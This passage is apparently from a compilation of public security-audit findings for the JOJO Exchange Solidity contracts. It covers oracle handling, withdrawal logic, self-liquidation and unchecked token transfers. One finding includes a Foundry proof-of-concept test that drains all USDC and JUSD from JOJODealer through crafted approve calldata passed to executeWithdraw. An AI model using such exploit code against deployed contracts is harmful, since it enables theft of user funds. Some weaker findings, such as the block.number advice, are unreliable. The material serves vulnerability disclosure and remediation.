https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/oracle/UniswapPriceAdaptor.sol#L67-L76

Tool used

Manual Review

Recommendation

UniswapPriceAdaptor contract Add a switch

contract UniswapPriceAdaptor is Ownable {
    IStaticOracle public immutable UNISWAP_V3_ORACLE;
    address public immutable baseToken;
    address public immutable quoteToken;
    address public priceFeedOracle;
    uint256 public impact; 
    uint32 public period; 
    uint8 public decimal;
    address[] public pools;
+   bool public isSelfOracle;

    event UpdatePools(address[] oldPools, address[] newPools);
    event UpdatePeriod(uint32 oldPeriod, uint32 newPeriod);
    event UpdateImpact(uint256 oldImpact, uint256 newImpact);

    constructor(
        address _uniswapAdaptor,
        uint8 _decimal,
        address _baseToken,
        address _quoteToken,
        address[] memory _pools,
        uint32 _period,
        address _priceFeedOracle,
        uint256 _impact
    ) {
        UNISWAP_V3_ORACLE = IStaticOracle(_uniswapAdaptor);
        decimal = _decimal;
        baseToken = _baseToken;
        quoteToken = _quoteToken;
        pools = _pools;
        period = _period;
        priceFeedOracle = _priceFeedOracle;
        impact = _impact;
    }

-   function getPrice() internal view returns (uint256) {
+   function getUniswapPrice() internal view returns (uint256) {
        uint256 uniswapPriceFeed = IStaticOracle(UNISWAP_V3_ORACLE).quoteSpecificPoolsWithTimePeriod(
            uint128(10 ** decimal), baseToken, quoteToken, pools, period
        );
-       uint256 jojoPriceFeed = EmergencyOracle(priceFeedOracle).getMarkPrice();
-       uint256 diff =
-            jojoPriceFeed >= uniswapPriceFeed ? jojoPriceFeed - uniswapPriceFeed : uniswapPriceFeed - jojoPriceFeed;
-       require((diff * 1e18) / jojoPriceFeed <= impact, "deviation is too big");
        return uniswapPriceFeed;
    }

+   function getPrice() internal view returns (uint256) {
+       uint256 uniswapPriceFeed = getUniswapPrice();
+       if (isSelfOracle) {
+           uint256 jojoPriceFeed = EmergencyOracle(priceFeedOracle).getMarkPrice();
+           uint256 diff =
+               jojoPriceFeed >= uniswapPriceFeed ? jojoPriceFeed - uniswapPriceFeed : uniswapPriceFeed - jojoPriceFeed;
+           require((diff * 1e18) / jojoPriceFeed <= impact, "deviation is too big");
+           return uniswapPriceFeed;
+       } else {
+           return uniswapPriceFeed;
+       }
+   }

    function getMarkPrice() external view returns (uint256 price) {
        price = getPrice();
    }

    function getAssetPrice() external view returns (uint256 price) {
        price = getPrice();
    }

    function updatePools(address[] memory newPools) external onlyOwner {
        emit UpdatePools(pools, newPools);
        pools = newPools;
    }

    function updatePeriod(uint32 newPeriod) external onlyOwner {
        emit UpdatePeriod(period, newPeriod);
        period = newPeriod;
    }

    function updateImpact(uint256 newImpact) external onlyOwner {
        emit UpdateImpact(impact, newImpact);
        impact = newImpact;
    }


+   function turnOnJOJOOracle() external onlyOwner {
+       isSelfOracle = true;
+   }

+   function turnOffJOJOOracle() external onlyOwner {
+       isSelfOracle = false;
+   }
}

0xhashiman - An attacker can steal all USDC and JUSD from JOJODealer contract

0xhashiman

high

An attacker can steal all USDC and JUSD from JOJODealer contract

Summary

The JOJODealer contract inherits from JOJOExternal, JOJOOperation, and JOJOView, thereby gaining access to all functions defined in these contracts. Our focus is specifically on the JOJOExternal contract, which exposes the Funding library and allows users to interact with functions such as deposit(), requestWithdraw(), and executeWithdraw(). In these primary functions, we simply invoke the corresponding functions from the Funding library without introducing any modifications.

The issue arises in the executeWithdraw() function, where we trust user-supplied parameters. This trust will enable a malicious actor to steal all funds within the JOJODealer contract.

Vulnerability Detail

As JOJODealer serves as a hub for various traders executing diverse actions, the contract accumulates substantial balances in both USDC and JUSD. The critical concern lies in the executeWithdraw() function, which calls Funding.executeWithdraw(). In both functions, there is a lack of validation for various inputs. This deficiency creates an opportunity for a malicious actor to craft a transaction with malicious parameters, draining the contract, and the contract will accept it without proper verification.

Here is a POC example below to illustrate this issue and demonstrate how it can manifest:

Add this test in DealerFundTest.sol and run it with

forge test --match-test testExecuteWithdrawCraftedToStealTokens -vvvvv
    function testExecuteWithdrawCraftedToStealTokens() public {
            
            vm.startPrank(traders[0]);
            jojoDealer.deposit(1_000_000e6, 1_000_000e6, traders[0]); // Normal trader[0] making a deposit withou any issue

            vm.stopPrank();

            vm.startPrank(traders[1]);
            jojoDealer.deposit(100_000e6, 100_000e6, traders[1]); // Normal trader[1] making a deposit withou any issue
            jojoDealer.deposit(100_000e6, 100_000e6, traders[1]); // Normal trader[1] making a deposit withou any issue
            jojoDealer.deposit(100_000e6, 100_000e6, traders[1]); // Normal trader[1] making a deposit withou any issue
            vm.stopPrank();

            vm.startPrank(traders[2]);
            jojoDealer.deposit(100_000e6, 100_000e6, traders[2]); // Normal trader[2] making a deposit withou any issue
            jojoDealer.deposit(100_000e6, 100_000e6, traders[2]); // Normal trader[2] making a deposit withou any issue
            vm.stopPrank();

            vm.startPrank(traders[0]);
            jojoDealer.requestWithdraw(traders[0], 500_000e6, 200_000e6); // Normal trder[0] requesting withdraw till now all the system is working fine
            vm.stopPrank();

            address hacker = vm.addr(10000000000000000);
        
            vm.startPrank(hacker);   
        

            jojoDealer.executeWithdraw(hacker, address(jusd), false, 
                abi.encodeWithSignature("approve(address,uint256)", address(hacker), type(uint256).max)
            ); //  we can call this function even though we didnt deposit with any address and param the contract doesnt check

            jojoDealer.executeWithdraw(hacker, address(usdc), false, 
                abi.encodeWithSignature("approve(address,uint256)", address(hacker), type(uint256).max)
            ); //  we can call this function even though we didnt deposit with any address and param the contract doesnt check


            jusd.transferFrom(address(jojoDealer), hacker, jusd.balanceOf(address(jojoDealer))); //after approval we can withdraw all jusd balance of jojoDealer
            usdc.transferFrom(address(jojoDealer), hacker, usdc.balanceOf(address(jojoDealer))); //after approval we can withdraw all usdc balance of jojoDealer


            jusd.balanceOf(address(jojoDealer)); //This will be 0 since the hacker holds now all the tokens 
            usdc.balanceOf(address(jojoDealer)); //This will be 0 since the hacker holds now all the tokens 
            
        } 

To elaborate on the provided POC, in the first part, we simulate a real environment by connecting with various traders' accounts for some deposits. However, upon connecting as a hacker account, it becomes apparent that the supplied parameters are not accurate. The executeWithdraw() function invoked by the hacker ultimately translates to (bool success,) = to.call(param) check this lines in Funding.sol, both to and param are specified by the user.

The malicious executeWithdraw() proceeds to call the approve() function in both JUSD and USDC with maxUint256, designating the hacker as the spender and the owner will be jojoDealer contract . Subsequently, the attacker can exploit this approval to transfer all tokens to their own address.

Impact

All users fund that were originally deposited will be drained. The exact same issue happened to a project called SocketDotTech see this link.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JOJOExternal.sol#L38-L40

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L84-L102

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L122-L185

Tool used

Manual Review

Recommendation

I strongly recommend adopting the same design approach as the FlashLoanLiquidate contract. Specifically, ensure that only contracts whitelisted in whiteListContract can be deemed trustworthy, and do not extend trust to any arbitrary address.

Duplicate of #7

bughuntoor - Project may be unable to be deployed on Arbitrum due to incompatibility with Shanghai hardfork

bughuntoor

medium

Project may be unable to be deployed on Arbitrum due to incompatibility with Shanghai hardfork

Summary

Project might be unusable upon deployment due to not supporting PUSH0 OPCODE

Vulnerability Detail

The project uses unsafe pragma (^0.8.20) which by default uses PUSH0 OPCODE. However, Arbitrum currently does not support it.

This means that the produced bytecode for the different contracts won't be compatible with Arbitrum as it does not yet support the Shanghai hard fork.

Impact

Unusable contracts, will need redeploy

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/JOJOExternal.sol#L6

Tool used

Manual Review

Recommendation

change pragma to 0.8.19 or change the EVM version

bughuntoor - `degenSubAccount` uses wrong formula for `getMaxWithdrawAmount`

bughuntoor

medium

degenSubAccount uses wrong formula for getMaxWithdrawAmount

Summary

degenSubAccount uses wrong formula for getMaxWithdrawAmount

Vulnerability Detail

Let's look at the getMaxWithdrawAmount formula in degenSubAccount

    function getMaxWithdrawAmount(address trader) public view returns (uint256, uint256) {
        (int256 primaryCredit,, uint256 pendingPrimaryWithdraw,,) = IDealer(dealer).getCreditOf(address(this));

        uint256 positionMargin;
        int256 positionNetValue;
        address[] memory positions = IDealer(dealer).getPositions(trader);

        for (uint256 i = 0; i < positions.length;) {
            (int256 paperAmount, int256 creditAmount) = IPerpetual(positions[i]).balanceOf(trader);

            Types.RiskParams memory params = IDealer(dealer).getRiskParams(positions[i]);
            int256 price = SafeCast.toInt256(IPriceSource(params.markPriceSource).getMarkPrice());
            positionMargin += (paperAmount.decimalMul(price).abs() * 1e16) / 1e18;

            positionNetValue += paperAmount.decimalMul(price) + creditAmount;
            unchecked {
                ++i;
            }
        }

When we look at it, it's different from the function used in Liquidation.sol (looking at initialMargin)

    function getTotalExposure(
        Types.State storage state,
        address trader
    )
        public
        view
        returns (int256 netValue, uint256 exposure, uint256 initialMargin, uint256 maintenanceMargin)
    {
        int256 netPositionValue;
        // sum net value and exposure among all markets
        for (uint256 i = 0; i < state.openPositions[trader].length;) {
            (int256 paperAmount, int256 creditAmount) = IPerpetual(state.openPositions[trader][i]).balanceOf(trader);
            Types.RiskParams storage params = state.perpRiskParams[state.openPositions[trader][i]];
            int256 price = SafeCast.toInt256(IPriceSource(params.markPriceSource).getMarkPrice());

            netPositionValue += paperAmount.decimalMul(price) + creditAmount;
            uint256 exposureIncrement = paperAmount.decimalMul(price).abs();
            exposure += exposureIncrement;
            maintenanceMargin += (exposureIncrement * params.liquidationThreshold) / Types.ONE;
            initialMargin += (exposureIncrement * params.initialMarginRatio) / Types.ONE;
            unchecked {
                ++i;
            }
        }
        netValue = netPositionValue + state.primaryCredit[trader] + SafeCast.toInt256(state.secondaryCredit[trader]);
    }

This would cause the value in getMaxWithdrawAmount to be completely off. Anything that depends on it will not work.
It will also cause the require in requestWithdrawPrimaryAsset executeWithdrawPrimaryAsset and fastWithdrawPrimaryAsset to not work properly.

Impact

Wrong values returned, anything that depends on it will not work as well, including the require checks within the contract.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/subaccount/DegenSubaccount.sol#L59C1-L84C6

Tool used

Manual Review

Recommendation

use the formula from Liquidation.sol

PoC

    function testDegenSubaccountOpenPosition() public {
        vm.startPrank(traders[0]);
        jojoDealer.deposit(0, 1000e6, traders[0]);
        vm.stopPrank();

        vm.startPrank(traders[1]);
        jojoDealer.deposit(0, 10_000e6, traders[1]);
        vm.stopPrank();

        vm.startPrank(traders[2]);
        jojoDealer.deposit(0, 1000e6, traders[2]);
        vm.stopPrank();

        DegenSubaccountFactory degenFac = new DegenSubaccountFactory(address(jojoDealer), address(this));
        (Types.Order memory basedorder, bytes memory basedSig) =
            buildOrder(traders[0], tradersKey[0], 1e18, -30_000e6, address(perpList[0]), 0);
        vm.startPrank(traders[1]);
        usdc.approve(address(jojoDealer), 1000e6);
        address degenAccount = degenFac.newSubaccount();
        jojoDealer.deposit(1000e6, 0, degenAccount);
        (Types.Order memory order, bytes memory orderSig) =
            buildOrder(degenAccount, tradersKey[1], -1e18, 30_000e6, address(perpList[0]), 0);
        Types.Order[] memory orderList = new Types.Order[](2);
        orderList[0] = basedorder;
        orderList[1] = order;
        bytes[] memory signatureList = new bytes[](2);
        signatureList[0] = basedSig;
        signatureList[1] = orderSig;
        uint256[] memory matchPaperAmount = new uint256[](2);
        matchPaperAmount[0] = 1e18;
        matchPaperAmount[1] = 1e18;
        vm.stopPrank();
        Perpetual(perpList[0]).trade(abi.encode(orderList, signatureList, matchPaperAmount));
        // revert for netValue less than 0
        (uint256 maxWithdraw, uint256 pendingPrimary) = DegenSubaccount(degenAccount).getMaxWithdrawAmount(degenAccount);
        console.log(maxWithdraw);
        vm.startPrank(traders[1]);
        DegenSubaccount(degenAccount).requestWithdrawPrimaryAsset(maxWithdraw);
        cheats.expectRevert("JOJO_ACCOUNT_NOT_SAFE");
        DegenSubaccount(degenAccount).executeWithdrawPrimaryAsset(traders[1], true);
}

0xC - Unhandled return values of `transfer` and `transferFrom` functions

0xC

medium

Unhandled return values of transfer and transferFrom functions

Summary

The behavior of ERC20 implementations can sometimes be unpredictable. In some instances, the transfer and transferFrom functions may return 'false' to signal a failure instead of following the standard protocol of reverting. To enhance safety and reliability, it is recommended to encapsulate these calls within require() statements to properly handle any potential failures.

Vulnerability Detail

The vulnerability in the ERC20 implementation relates to the unsafe usage of transfer and transferFrom functions in the smart contract code.

Impact

This vulnerability can lead to unpredictable behavior and may result in funds being lost or transactions not executing as expected. In some cases, these functions may return 'false' to signal a failure instead of reverting as per the standard ERC20 protocol. This non-standard behavior can have adverse consequences for users and the contract itself.

Code Snippet

Unsafe transfer and transferFrom calls have been identified in specific locations, warranting extra caution. Here is where I found it:

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L263

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L266

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L313

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L315

Tool used

Manual Review

Recommendation

Check the return value and revert on 0/false or use OpenZeppelinโ€™s SafeERC20 wrapper functions.

Ignite - safeApprove() function may reverts for changing existing approvals

Ignite

medium

safeApprove() function may reverts for changing existing approvals

Summary

SafeERC20.safeApprove reverts if there is an attempt to change a non-zero approval to another non-zero approval. In the FundingRateArbitrage._swap() function, such an attempt may occur, resulting in a revert.

Vulnerability Detail

The safeApprove() function has explicit warning:

    // safeApprove should only be called when setting an initial allowance,
    // or when resetting it to zero. To increase and decrease it, use
    // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'

At line 207, the FundingRateArbitrage contract uses thesafeApprove() function to change the approval amount.

function _swap(bytes memory param, bool isBuyingEth) private returns (uint256 receivedAmount) {
    address fromToken;
    address toToken;
    if (isBuyingEth) {
        fromToken = usdc;
        toToken = collateral;
    } else {
        fromToken = collateral;
        toToken = usdc;
    }
    uint256 toTokenReserve = IERC20(toToken).balanceOf(address(this));
    (address approveTarget, address swapTarget, uint256 payAmount, bytes memory callData) =
        abi.decode(param, (address, address, uint256, bytes));
    IERC20(fromToken).safeApprove(approveTarget, payAmount);
    (bool isSuccess,) = swapTarget.call(callData);
    if (!isSuccess) {
        assembly {
            let ptr := mload(0x40)
            let size := returndatasize()
            returndatacopy(ptr, 0, size)
            revert(ptr, size)
        }
    }
    receivedAmount = IERC20(toToken).balanceOf(address(this)) - toTokenReserve;
    emit Swap(fromToken, toToken, payAmount, receivedAmount);
}

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L194-L219

With the external contract intregated, there might be remaining allowance to the target contract. As a result, the owner might unable to call swapBuyEth() or swapSellEth() functions.

Impact

The contract owner might be unable to swap USDC for collateral tokens and deposit them to the collateral system or withdraw collateral tokens to the pool and swap them back to USDC.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L207

Tool used

Manual Review

Recommendation

Resetting the allowance to zero before calling safeApprove() function.

dany.armstrong90 - Funding.sol#requestWithdraw function has an error.

dany.armstrong90

high

Funding.sol#requestWithdraw function has an error.

Summary

Funding.sol#requestWithdraw function set pending withdrawal flag for msg.sender instead of from.
Since the purpose of the function is to withdraw tokens from user from, this causes unexpected errors.

Vulnerability Detail

Funding.sol#requestWithdraw and executeWithdraw functions are the following.

    function requestWithdraw(
        Types.State storage state,
        address from,
        uint256 primaryAmount,
        uint256 secondaryAmount
    )
        external
    {
        require(isWithdrawValid(state, msg.sender, from, primaryAmount, secondaryAmount), Errors.WITHDRAW_INVALID);
78:     state.pendingPrimaryWithdraw[msg.sender] = primaryAmount;
79:     state.pendingSecondaryWithdraw[msg.sender] = secondaryAmount;
80:     state.withdrawExecutionTimestamp[msg.sender] = block.timestamp + state.withdrawTimeLock;
        emit RequestWithdraw(msg.sender, primaryAmount, secondaryAmount, state.withdrawExecutionTimestamp[msg.sender]);
    }

    function executeWithdraw(
        Types.State storage state,
        address from,
        address to,
        bool isInternal,
        bytes memory param
    )
        external
    {
93:     require(state.withdrawExecutionTimestamp[from] <= block.timestamp, Errors.WITHDRAW_PENDING);
94:     uint256 primaryAmount = state.pendingPrimaryWithdraw[from];
95:     uint256 secondaryAmount = state.pendingSecondaryWithdraw[from];
        require(isWithdrawValid(state, msg.sender, from, primaryAmount, secondaryAmount), Errors.WITHDRAW_INVALID);
        state.pendingPrimaryWithdraw[from] = 0;
        state.pendingSecondaryWithdraw[from] = 0;
        // No need to change withdrawExecutionTimestamp, because we set pending
        // withdraw amount to 0.
        _withdraw(state, msg.sender, from, to, primaryAmount, secondaryAmount, isInternal, param);
    }

L78-80 of requestWithdraw function registers the amount of tokens to withdraw and the timestamp for the address msg.sender.
But L93-95 of executeWithdraw function get the amount of tokens and timestamp which are registered to address from.
In all of two functions, from is the user to withdraw tokens from and msg.sender is the operator (spender) of withdrawal.
Thus in the case that from and msg.sender differs, the regular pending withdrawal is impossible and also the irregular pending withdrawal may arise.

Example of regular pending withdrawal:

  1. Suppose that operator1 tries to withdraw tokens from user1.
  2. operator1 calls requestWithdraw function with parameter from=user1.
  3. In the requestWithdraw function, it will be msg.sender=operator1.
    Thus the values of pendingPrimaryWithdraw[operator1], pendingSecondaryWithdraw[operator1] and withdrawExecutionTimestamp[operator1] are set.
  4. After withdrawTimeLock seconds elapsed, the operator1 calls executeWithdraw function with from=user1.
  5. Since withdrawExecutionTimestamp[user1]=0 in L93, executeWithdraw function will be reverted.

Example of irregular pending withdrawal:

  1. Suppose that user2 is the operator of user1 and operator1 is the one of user2.
  2. user2 calls requestWindow function with from=user1.
  3. In requestWithdraw function, the values of pendingPrimaryWithdraw[user2], pendingSecondaryWithdraw[user2] and withdrawExecutionTimestamp[user2] are set.
  4. After withdrawTimeLock seconds elapsed, operator1 calls executeWithdraw function with from=user2.
  5. Even though operator1 never called requestWithdraw function with from=user2, but in L93-94 primaryAmount > 0 and secondaryAmount > 0 holds true and executeWithdraw function will succeed.

Impact

The regular pending withdrawal from user by operator (!=user) will be impossible and the irregular pending withdrawal may arise.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/libraries/Funding.sol#L78-L80

Tool used

Manual Review

Recommendation

Modify Funding.sol#requestWithdraw function as follows.

    function requestWithdraw(
        Types.State storage state,
        address from,
        uint256 primaryAmount,
        uint256 secondaryAmount
    )
        external
    {
        require(isWithdrawValid(state, msg.sender, from, primaryAmount, secondaryAmount), Errors.WITHDRAW_INVALID);
--      state.pendingPrimaryWithdraw[msg.sender] = primaryAmount;
--      state.pendingSecondaryWithdraw[msg.sender] = secondaryAmount;
--      state.withdrawExecutionTimestamp[msg.sender] = block.timestamp + state.withdrawTimeLock;
--      emit RequestWithdraw(msg.sender, primaryAmount, secondaryAmount, state.withdrawExecutionTimestamp[msg.sender]);
++      state.pendingPrimaryWithdraw[from] = primaryAmount;
++      state.pendingSecondaryWithdraw[from] = secondaryAmount;
++      state.withdrawExecutionTimestamp[from] = block.timestamp + state.withdrawTimeLock;
++      emit RequestWithdraw(from, primaryAmount, secondaryAmount, state.withdrawExecutionTimestamp[from]);
    }

Duplicate of #53

bughuntoor - `requestWithdraw` logic is flawed and may cause a user to simply burn their money

bughuntoor

high

requestWithdraw logic is flawed and may cause a user to simply burn their money

Summary

requestWithdraw logic is flawed and may cause a user to simply burn their money

Vulnerability Detail

Let's look at the code in requestWithdraw

    function requestWithdraw(uint256 repayJUSDAmount) external returns (uint256 withdrawEarnUSDCAmount) {
        IERC20(jusd).safeTransferFrom(msg.sender, address(this), repayJUSDAmount);
        require(repayJUSDAmount <= jusdOutside[msg.sender], "Request Withdraw too big");
        jusdOutside[msg.sender] -= repayJUSDAmount;
        uint256 index = getIndex();
        uint256 lockedEarnUSDCAmount = jusdOutside[msg.sender].decimalDiv(index);
        require(
            earnUSDCBalance[msg.sender] >= lockedEarnUSDCAmount, "lockedEarnUSDCAmount is bigger than earnUSDCBalance"
        );
        withdrawEarnUSDCAmount = earnUSDCBalance[msg.sender] - lockedEarnUSDCAmount;
        withdrawalRequests.push(WithdrawalRequest(withdrawEarnUSDCAmount, msg.sender, false));
        require(
            withdrawEarnUSDCAmount.decimalMul(index) >= withdrawSettleFee, "Withdraw amount is smaller than settleFee"
        );
        earnUSDCBalance[msg.sender] = lockedEarnUSDCAmount;
        uint256 withdrawIndex = withdrawalRequests.length - 1;
        emit RequestWithdrawFromHedging(msg.sender, repayJUSDAmount, withdrawEarnUSDCAmount, withdrawIndex);
        return withdrawIndex;
    }

The way it calculates withdraw amount is completely flawed and needs major refactoring.
To simply give an example:

  • A user deposits 1000 USDC at index == 1e18
  • Index drops to 0.5e18 (e.g. due to borrow liquidation or bad perp trade)
  • User now wants to claim 500 of their JUSD within the contract, so they invoke requestWithdraw(500).
  • If we look at the workflow -> jusdOutside[msg.sender] - repayJusdAmount = 500.
    lockedEarnUSDCAmount = 500 / 0.5 = 1000
    WithdrawEarnUSDCAmount = 1000 - 1000 = 0 (we'll consider withdrawSettleFee to be 0 for simplicity. even if it is not, issue is still valid)
    EarnUSDCBalance = 500

The user just gave 500 JUSD to the contract and burned 500 earnUSDCBalance and created a 0-value withdraw request.

Impact

Loss of funds

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateArbitrage.sol#L282C1-L300C6

Tool used

Manual Review

Recommendation

Fix is non-trivial, function will need to be rewritten.

bareli - check the return value of function

bareli

medium

check the return value of function

Summary

The contract assumes success when calling approve and repay on the ERC20.sol and jusdBank contracts, respectively. It does not check the return value of these function calls, which could lead to unexpected behavior if they fail.

Vulnerability Detail

@>> IJUSDBank(jusdBank).repay(liquidateData.actualLiquidated, to);

function repay(uint256 amount, address to) external override nonReentrant returns (uint256) {
Types.UserInfo storage user = userInfo[to];
accrueRate();
@>> return _repay(user, msg.sender, to, amount, tRate);
}

function _repay(
Types.UserInfo storage user,
address payer,
address to,
uint256 amount,
uint256 tRate
)
internal
@>> returns (uint256)
{

Impact

t does not check the return value of these function calls, which could lead to unexpected behavior if they fail.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FlashLoanLiquidate.sol#L71

Tool used

Manual Review

Recommendation

check the return value of these function calls.

Duplicate of #85

T1MOH - JOJOOracleAdaptorWstETH.sol misses function `getMarkPrice()`

T1MOH

medium

JOJOOracleAdaptorWstETH.sol misses function getMarkPrice()

Summary

JOJOOracleAdaptorWstETH.sol doesn't fully implement IPriceSource.sol. It misses function getMarkPrice()

Vulnerability Detail

Code blocks which call function getMarkPrice() on Oracle contract will revert. The most significant is following:

Trader can't open trade in WstEth perp.
Here is function order:

Perpetual.trade()
    JOJOView.isAllSafe()
        Liquidation._isAllMMSafe()
            Liquidation._isMMSafe()
                Liquidation.getTotalExposure()
                    IPriceSource.getMarkPrice()

Here you can see that function getMarkPrice() is called on perpetual oracle. For WstEth perpetual, oracle JOJOOracleAdaptorWstETH.sol is supposed to be used

    function getTotalExposure(
        Types.State storage state,
        address trader
    )
        public
        view
        returns (int256 netValue, uint256 exposure, uint256 initialMargin, uint256 maintenanceMargin)
    {
        int256 netPositionValue;
        // sum net value and exposure among all markets
        for (uint256 i = 0; i < state.openPositions[trader].length;) {
            (int256 paperAmount, int256 creditAmount) = IPerpetual(state.openPositions[trader][i]).balanceOf(trader);
            Types.RiskParams storage params = state.perpRiskParams[state.openPositions[trader][i]];
@>          int256 price = SafeCast.toInt256(IPriceSource(params.markPriceSource).getMarkPrice());

            netPositionValue += paperAmount.decimalMul(price) + creditAmount;
            uint256 exposureIncrement = paperAmount.decimalMul(price).abs();
            exposure += exposureIncrement;
            maintenanceMargin += (exposureIncrement * params.liquidationThreshold) / Types.ONE;
            initialMargin += (exposureIncrement * params.initialMarginRatio) / Types.ONE;
            unchecked {
                ++i;
            }
        }
        netValue = netPositionValue + state.primaryCredit[trader] + SafeCast.toInt256(state.secondaryCredit[trader]);
    }

Also different functions like FundingRateUpdateLimiter.getMaxChange(), Liquidation.requestLiquidation() revert too because try to call getMarkPrice() on oracle

Note there is no function getMarkPrice():
https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/oracle/OracleAdaptorWstETH.sol#L13

Impact

WstEth Perpetual can't be used.

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/ed4a8483da11bcc04ced10de899038bcead087b3/smart-contract-EVM/src/oracle/OracleAdaptorWstETH.sol#L13

Tool used

Manual Review

Recommendation

Add missing function

rvierdiiev - withdrawSettleFee increase can make some withdrawals to be stuck

rvierdiiev

medium

withdrawSettleFee increase can make some withdrawals to be stuck

Summary

In case withdrawSettleFee will increase then it can make some withdrawals to be stuck, because of the check in the permitWithdrawRequests function.

Vulnerability Detail

When user flags withdraw, then there is a check, that amount to be withdrawn is bigger than withdrawSettleFee. Same check exists, when owner executes withdraw.

In case if withdrawSettleFee will be increased to the value that is bigger than already pending withdraw, then owner will not be able to settle such withdraw and those amount of funds that belongs to withdrawer and is now less than withdrawSettleFee will stuck.

Impact

Some deposits may stuck after withdrawSettleFee increase.

Code Snippet

Provided above

Tool used

Manual Review

Recommendation

Provide ability for user to cancel withdraw in some cases.

rudolph - Users can liquidate themselves

rudolph

high

Users can liquidate themselves

Summary

Typically, in lending platforms or futures exchanges, some restrictions prevent users from liquidating themselves. That is the liquidator should be different from the borrower. Because liquidation often comes with a liquidation incentive, and in terms of reasonableness and fairness this shouldn't be given to the liquidated person.

More importantly, in the logic of some protocols, if the liquidator and the borrower are the same in liquidation, there is a risk of data overwriting, leading to unforeseen consequences. For example, the borrower can redeem the collateral without repayment.

Vulnerability Detail

The liquidate() function currently lacks restrictions preventing a trader from liquidating themselves. To address this issue, the code logic needs to be revised. This can create an unfair advantage for the trader, which is not in the best interest of other participants.

making it impossible to track your actual position and determine your safe status. As a result, L149 can be passed, allowing you to avoid liquidation.

  1. The hacker participates in one perpetual. If the hacker wins money, it is fine.
  2. When the hacker loses and meets the liquidation, he can liquidate himself and get his margin back without any payment.
  3. Therefore hackers can keep making money by constantly moving positions and never lose money.

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/Perpetual.sol#L141

        _settle(liquidatedTrader, liqedPaperChange, liqedCreditChange);
        _settle(liquidator, liqtorPaperChange, liqtorCreditChange);
        require(IDealer(owner()).isSafe(liquidator), "LIQUIDATOR_NOT_SAFE");

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/Perpetual.sol#L162

    function _settle(address trader, int256 paperChange, int256 creditChange) internal {
        bool isNewPosition = balanceMap[trader].paper == 0;
        int256 rate = fundingRate; // gas saving
        int256 credit =
            int256(balanceMap[trader].paper).decimalMul(rate) + int256(balanceMap[trader].reducedCredit) + creditChange;
        int128 newPaper = balanceMap[trader].paper + SafeCast.toInt128(paperChange);
        int128 newReducedCredit = SafeCast.toInt128(credit - int256(newPaper).decimalMul(rate));
        balanceMap[trader].paper = newPaper;
        balanceMap[trader].reducedCredit = newReducedCredit;
        emit BalanceChange(trader, paperChange, creditChange);
        if (isNewPosition) {
            IDealer(owner()).openPosition(trader);
        }
        if (newPaper == 0) {
            // realize PNL
            IDealer(owner()).realizePnl(trader, balanceMap[trader].reducedCredit);
            balanceMap[trader].reducedCredit = 0;
        }
    }

Tool used

Manual Review

Recommendation

We suggest adding a restriction that prohibits self-liquidation.

bareli - Gas Limitations

bareli

medium

Gas Limitations

Summary

Gas Limitations: The updateFundingRate function could potentially run out of gas if the arrays provided are too long, as it loops through all elements without any gas checks.

Vulnerability Detail

function updateFundingRate(address[] calldata perpList, int256[] calldata rateList) external onlyOwner {
for (uint256 i = 0; i < perpList.length;) {
address perp = perpList[i];
int256 oldRate = IPerpetual(perp).getFundingRate();
uint256 maxChange = getMaxChange(perp);
require((rateList[i] - oldRate).abs() <= maxChange, "FUNDING_RATE_CHANGE_TOO_MUCH");
fundingRateUpdateTimestamp[perp] = block.timestamp;
unchecked {
++i;
}
}
IDealer(dealer).updateFundingRate(perpList, rateList);
}

Impact

Code Snippet

https://github.com/sherlock-audit/2023-12-jojo-exchange-update/blob/main/smart-contract-EVM/src/FundingRateUpdateLimiter.sol#L37

Tool used

Manual Review

Recommendation

limit on array length

Homebrew - Potential block timestamp manipulation vulnerability

Homebrew

medium

Potential block timestamp manipulation vulnerability

Summary

Block Timestamp Manipulation

Vulnerability Detail

The contract uses block.timestamp to validate Chainlink oracle freshness. Miners could manipulate this timestamp.

Impact

Attacker can make stale oracle prices seem valid, resulting in incorrect pricing.

Code Snippet

require(block.timestamp - updatedAt <= heartbeatInterval, "ORACLE_HEARTBEAT_FAILED");

Tool used

Manual Review

Recommendation

Only impacts pricing, not critical contract assets. Other price validations also in place. Difficult for miner to consistently manipulate timestamp.

Use block.number instead of timestamp to validate freshness.

The vulnerability allows some manipulation of price calculations. But other factors limit the impact, so it is be a lower severity issue.

0xC - Lack of validation for negative values in the `deposit` function within the `FundingRateArbitrage` contract

0xC

high

Lack of validation for negative values in the deposit function within the FundingRateArbitrage contract

Summary

